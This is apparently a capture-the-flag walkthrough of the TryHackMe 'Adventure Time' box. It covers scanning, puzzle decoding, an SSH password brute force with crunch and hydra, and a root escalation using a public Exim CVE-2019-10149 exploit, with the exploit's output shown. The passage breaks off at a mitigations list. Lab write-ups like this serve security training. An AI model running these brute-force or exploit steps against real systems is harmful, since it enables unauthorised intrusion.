&lt;p&gt;Adventure Time is a hard-rated TryHackMe box themed around the cartoon, with a heavy focus on multi-layered encoding/decoding puzzles, steganography, and lateral movement through several user accounts before reaching root. The attack path begins with FTP anonymous login retrieving six JPEG images whose EXIF XP Comment fields encode binary fragments, which concatenate to a hint phrase. A chain of web pages hosted at &lt;code&gt;land-of-ooo.com&lt;/code&gt; — discovered by following the SSL certificate clue from the HTTPS vhost — delivers credentials through Morse code, AES decryption, Vigenère cipher, and a Spoon (esoteric binary language) challenge. Each credential unlocks the next user. The final privilege escalation abuses a SUID-root &lt;code&gt;exim4&lt;/code&gt; binary vulnerable to CVE-2019-10149 (The Return of the WIZard), landing a root shell and the BMO reset code hidden in Bubblegum's home directory.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Recon
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rustscan -a MACHINE_IP --ulimit 5000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Open MACHINE_IP:21
Open MACHINE_IP:22
Open MACHINE_IP:80
Open MACHINE_IP:443
Open MACHINE_IP:31337
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -sC -sV MACHINE_IP -p 21,22,80,443,31337
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r--    1 ftp      ftp       1401357 Sep 21  2019 1.jpg
| -r--r--r--    1 ftp      ftp        233977 Sep 21  2019 2.jpg
| -r--r--r--    1 ftp      ftp        524615 Sep 21  2019 3.jpg
| -r--r--r--    1 ftp      ftp        771076 Sep 21  2019 4.jpg
| -r--r--r--    1 ftp      ftp       1644395 Sep 21  2019 5.jpg
|_-r--r--r--    1 ftp      ftp         40355 Sep 21  2019 6.jpg
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.29
|_http-title: 404 Not Found
443/tcp   open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: You found Finn
| ssl-cert: Subject: commonName=adventure-time.com/organizationName=Candy Corporate Inc.
31337/tcp open  Elite?
| fingerprint-strings:
|   GenericLines, NULL:
|     Hello Princess Bubblegum. What is the magic word?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port 31337 is a custom TCP service that prompts for a "magic word". Port 80 returns 404. Port 443 has a self-signed cert for &lt;code&gt;adventure-time.com&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. FTP anonymous login - EXIF binary decode
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ftp MACHINE_IP 21
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Name: anonymous
230 Login successful.
ftp&amp;gt; prompt off
ftp&amp;gt; mget *
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Six JPEGs downloaded. All have binary data embedded in the &lt;code&gt;XP Comment&lt;/code&gt; EXIF field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;exiftool *.jpg | grep "XP Comment"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;XP Comment : 01111001 01101111 01110101 00100000
XP Comment : 01110010 01100101 01100001 01101100 01101100 01111001 00100000
XP Comment : 01101100 01101001 01101011 01100101 00100000
XP Comment : 01110100 01101111 00100000
XP Comment : 01110000 01110101 01111010 01111010 01101100 01100101 00100000
XP Comment : 01100100 01101111 01101110 00100111 01110100 00100000 01111001 01100001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decoding each binary sequence and concatenating:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;1.jpg → &lt;code&gt;you&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2.jpg → &lt;code&gt;really&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;3.jpg → &lt;code&gt;like&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;4.jpg → &lt;code&gt;to&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;5.jpg → &lt;code&gt;puzzle&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;6.jpg → &lt;code&gt;don't ya&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Result: &lt;strong&gt;"you really like to puzzle don't ya"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Tried this as the magic word on port 31337 - rejected. It's a clue, not the answer itself.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
you really like to puzzle don't ya
The magic word is not you really like to puzzle don't ya
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Web enumeration - HTTPS vhost
&lt;/h3&gt;

&lt;p&gt;Port 80 (HTTP) returns 404. Port 443 (HTTPS) serves content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -k https://MACHINE_IP/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;You found Finn&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"finn-1.png"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"the magic word"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"width: 100%"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The SSL cert's &lt;code&gt;commonName=adventure-time.com&lt;/code&gt; is the clue. Added &lt;code&gt;adventure-time.com&lt;/code&gt; to &lt;code&gt;/etc/hosts&lt;/code&gt;. Gobuster against the HTTPS service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gobuster dir -u https://MACHINE_IP/ -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;candybar    (Status: 301) [Size: 321] [--&amp;gt; https://MACHINE_IP/candybar/]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -k https://MACHINE_IP/candybar/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Where is Jake?&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"finn-2.png"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"the magic word"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"width: 100%"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!-- KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4=== --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decoding the HTML comment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo 'KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4===' | base32 -d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Palpnh rwtrz iwt HHA rtgixuxrpit udg rajth.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Applying Caesar cipher with shift -15 decodes to: &lt;strong&gt;"ALWAYS CHECK THE SSL CERTIFICATE FOR CLUES"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The certificate confirmed &lt;code&gt;adventure-time.com&lt;/code&gt; / &lt;code&gt;land-of-ooo.com&lt;/code&gt; as the target domain.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Enumerating land-of-ooo.com
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ffuf -u https://land-of-ooo.com/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;yellowdog    [Status: 301, Size: 322]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -k https://land-of-ooo.com/yellowdog/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;To find a password&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"jake-2.png"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"what is the password?"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"width: 100%"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ffuf -u https://land-of-ooo.com/yellowdog/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bananastock    [Status: 301]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;/yellowdog/bananastock/&lt;/code&gt; page displayed two Banana Guards with their password rendered as Morse code using &lt;code&gt;/&lt;/code&gt; as dot delimiter and &lt;code&gt;\&lt;/code&gt; as word delimiter. Decoded in CyberChef (From Morse Code, Letter delimiter: Forward slash, Word delimiter: Backslash):&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"THE BANANAS ARE THE BEST!!!"&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ffuf -u https://land-of-ooo.com/yellowdog/bananastock/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;princess    [Status: 301]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -k https://land-of-ooo.com/yellowdog/bananastock/princess/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;What secret safe?&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!--
Secrettext = 0008f1a92d287b48dccb5079eac18ad2a0c59c22fbc7827295842f670cdb3cb645de3de794320af132ab341fe0d667a85368d0df5a3b731122ef97299acc3849cc9d8aac8c3acb647483103b5ee44166
Key = my cool password
IV = abcdefghijklmanopqrstuvwxyz
Mode = CBC
Input = hex
Output = raw
--&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decrypted in CyberChef (AES Decrypt, CBC, Hex input):&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"the magic safe is accessibel at port 31337. the magic word is: ricardio"&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Port 31337 - get SSH username
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
ricardio
The new username is: apple-guards
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6. SSH as apple-guards
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh apple-guards@land-of-ooo.com
apple-guards@land-of-ooo.com's password: THE BANANAS ARE THE BEST!!!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apple-guards@at:~$ whoami
apple-guards
apple-guards@at:~$ id
uid=1009(apple-guards) gid=1009(apple-guards) groups=1009(apple-guards)
apple-guards@at:~$ cat flag1
tryhackme{REDACTED}
apple-guards@at:~$ cat flag.txt
tryhackme{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checked mail:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apple-guards@at:~$ cat mbox
From: marceline@at
Subject: Need help???

Hi there bananaheads!!!
I heard Princess B revoked your access to the system. Bummer!
But I'll help you guys out.....doesn't cost you a thing.....well almost nothing.
I hid a file for you guys. If you get the answer right, you'll get better access.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apple-guards@at:~$ find / -type f -user marceline 2&amp;gt;/dev/null
/etc/fonts/helper
apple-guards@at:~$ ls -la /etc/fonts/helper
-rwxr-x--- 1 marceline apple-guards 16616 sep 20  2019 /etc/fonts/helper
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7. Marceline's helper puzzle - Vigenère decode
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apple-guards@at:~$ /etc/fonts/helper
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;======================================
      BananaHead Access Pass
       created by Marceline
======================================

The key to solve this puzzle is gone
And you need the key to get this readable: Gpnhkse

Did you solve the puzzle? yes

What is the word I'm looking for? Abadeer

That's it!!!! You solved my puzzle
Don't tell princess B I helped you guys!!!
My password is 'My friend Finn'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Vigenère decode of &lt;code&gt;Gpnhkse&lt;/code&gt; with key &lt;code&gt;gone&lt;/code&gt; (CyberChef) → &lt;strong&gt;"Abadeer"&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  8. SSH/su as marceline
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;apple-guards@at:~$ su marceline
Password: My friend Finn
marceline@at:~$ cat flag2
tryhackme{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;marceline@at:~$ cat I-got-a-secret.txt
...
111111111100100010101011101011111110101111111111011011011011000001101001001011111111111111001010010111100101000000000000101001101111001010010010111111110010100000000000000000000000000000000000000010101111110010101100101000000000000000000000101001101100101001001011111111111111111111001010000000000000000000000000001010111001010000000000000000000000000000000000000000000001010011011001010010010111111111111111111111001010000000000000000000000000000000001010111111001010011011001010010111111111111100101001000000000000101001111110010100110010100100100000000000000000000010101110010100010100000000000000010100000000010101111100101001111001010011001010010000001010010100101011100101001101100101001011100101001010010100110110010101111111111111111111111111111111110010100100100000000000010100010100111110010100000000000000000000000010100111111111111111110010100101111001010000000000000001010
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The binary string is Spoon (an esoteric Brainfuck-derived language using only &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;[&lt;/code&gt;, &lt;code&gt;]&lt;/code&gt;, &lt;code&gt;.&lt;/code&gt;, &lt;code&gt;,&lt;/code&gt; encoded as binary). Decoded via dCode's Spoon interpreter:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"the magic word you are looking for is ApplePie"&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  9. Port 31337 again - get peppermint-butler password
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc land-of-ooo.com 31337
Hello Princess Bubblegum. What is the magic word?
ApplePie
The password of peppermint-butler is: That Black Magic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10. su peppermint-butler
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;marceline@at:~$ su peppermint-butler
Password: That Black Magic
peppermint-butler@at:~$ cat flag3
tryhackme{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;peppermint-butler@at:~$ ls -la
-rw-------  1 peppermint-butler peppermint-butler 85555 sep 21  2019 butler-1.jpg
-rw-r-----  1 peppermint-butler peppermint-butler    28 sep 22  2019 flag3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;peppermint-butler@at:~$ find / -type f -user peppermint-butler 2&amp;gt;/dev/null | grep -v proc
/usr/share/xml/steg.txt
/etc/php/zip.txt
/home/peppermint-butler/flag3
/home/peppermint-butler/butler-1.jpg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;peppermint-butler@at:~$ cat /usr/share/xml/steg.txt
...
The password of my secret file is 'ToKeepASecretSafe'
peppermint-butler@at:~$ cat /etc/php/zip.txt
...
The password of my secret file is 'ThisIsReallySave'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two different passwords - one for steghide, one for the zip.&lt;/p&gt;

&lt;p&gt;Served the image to the attacker machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;peppermint-butler@at:~$ python3 -m http.server 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;wget http://land-of-ooo.com:8000/butler-1.jpg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;steghide extract -sf butler-1.jpg
Enter passphrase: ToKeepASecretSafe
wrote extracted data to "secrets.zip".
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;unzip secrets.zip
[secrets.zip] secrets.txt password: ThisIsReallySave
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat secrets.txt
...
I think I saw him type in something.
It was unclear, but it was something like 'The Ice King s????'.
The last 4 letters where a blur.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11. Bruteforce gunter's SSH password
&lt;/h3&gt;

&lt;p&gt;Peppermint Butler's image had no useful EXIF. The hint from secrets.txt gives a partial password pattern for user &lt;code&gt;gunter&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;crunch 18 18 -t 'The Ice King s@@@@' &amp;gt; pass.txt
Crunch will now generate the following number of lines: 456976
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hydra -l gunter -P pass.txt -t 4 ssh://MACHINE_IP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[22][ssh] host: MACHINE_IP   login: gunter   password: The Ice King sucks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12. su/SSH as gunter
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;peppermint-butler@at:~$ su gunter
Password: The Ice King sucks
gunter@at:~$ id
uid=1007(gunter) gid=1007(gunter) groups=1007(gunter),1012(gcc)
gunter@at:~$ cat flag4
tryhackme{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;gunter is in the &lt;code&gt;gcc&lt;/code&gt; group. Checking SUID binaries:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gunter@at:~$ find / -perm -4000 2&amp;gt;/dev/null
/usr/sbin/exim4
...
gunter@at:~$ ls -la /usr/sbin/exim4
-rwsr-xr-x 1 root 1011 1140200 feb 14  2018 /usr/sbin/exim4
gunter@at:~$ exim4 --version
Exim version 4.90_1 #4 built 14-Feb-2018 16:01:14
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Exim 4.90_1 is vulnerable to CVE-2019-10149 (local privilege escalation via RCPT TO command injection). Exim was listening on localhost port 60000 (confirmed from &lt;code&gt;/etc/exim4/update-exim4.conf.conf&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gunter@at:~$ ss -tlnp | grep 60000
LISTEN   0   20   127.0.0.1:60000   0.0.0.0:*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13. CVE-2019-10149 - SUID exim4 LPE to root
&lt;/h3&gt;

&lt;p&gt;Used the public PoC (exploit-db 46996), modified the &lt;code&gt;exec 3&amp;lt;&amp;gt;/dev/tcp/localhost/25&lt;/code&gt; line to point to port 60000:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gunter@at:~$ nano cve-2019-10149.sh
gunter@at:~$ bash cve-2019-10149.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;raptor_exim_wiz - "The Return of the WIZard" LPE exploit

Preparing setuid shell helper...
Delivering setuid payload...
220 at ESMTP Exim 4.90_1 Ubuntu Tue, 22 Sep 2026 13:44:25 +0200
250 at Hello localhost [127.0.0.1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1x8yvB-0001gJ-SI
221 at closing connection

Waiting 5 seconds...
-rwsr-xr-x 1 root gunter 8504 sep 22 13:44 /tmp/pwned
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1007(gunter),1012(gcc)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  14. Final flag - BMO reset code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# cd /home/bubblegum/Secrets
# cat bmo.txt
Secret project number: 211243A
Name opbject: BMO
Rol object: Spy

In case of emergency use resetcode: tryhackme{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sensitive data in EXIF metadata&lt;/strong&gt; - Binary-encoded credentials/clues were embedded in the XP Comment field of publicly accessible FTP images, relying on obscurity rather than any real access control.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Unauthenticated multi-stage web puzzle leaking credentials&lt;/strong&gt; - The &lt;code&gt;land-of-ooo.com&lt;/code&gt; web chain encoded the SSH username and password behind several layers of encoding (Morse, AES, base32+Caesar) with all decryption parameters embedded in the HTML comments of the same pages. The AES key, IV, mode, and ciphertext were all provided in the same page source.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Weak access-control binary (&lt;/strong&gt;&lt;code&gt;/etc/fonts/helper&lt;/code&gt;&lt;strong&gt;)&lt;/strong&gt; - An executable owned by &lt;code&gt;marceline&lt;/code&gt; was accessible to the &lt;code&gt;apple-guards&lt;/code&gt; group and unconditionally printed a password after the user answered a trivial cipher puzzle, with no authentication.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Credentials embedded in a Spoon script stored in a readable file&lt;/strong&gt; - The peppermint-butler password was obtainable by anyone who could read &lt;code&gt;I-got-a-secret.txt&lt;/code&gt; in Marceline's home directory and knew how to decode Spoon.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Steganography as the only secret protection&lt;/strong&gt; - The gunter password hint was hidden in &lt;code&gt;secrets.zip&lt;/code&gt; behind a steghide-extracted image; once the steghide and zip passwords were found in world-readable files (&lt;code&gt;/usr/share/xml/steg.txt&lt;/code&gt;, &lt;code&gt;/etc/php/zip.txt&lt;/code&gt;), the hint was trivially extractable.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Weak partial-password pattern enabling brute-force&lt;/strong&gt; - The password &lt;code&gt;The Ice King sucks&lt;/code&gt; followed a known prefix (&lt;code&gt;The Ice King s&lt;/code&gt;) with only four lowercase letter positions unknown, making a 456,976-candidate wordlist trivial to generate and brute-force over SSH.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SUID root exim4 vulnerable to CVE-2019-10149&lt;/strong&gt; - Exim 4.90_1, running as a SUID-root binary, contains a command injection flaw in RCPT TO address handling (The Return of the WIZard). Any local user who can reach the SMTP port can exploit this to execute arbitrary commands as root.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
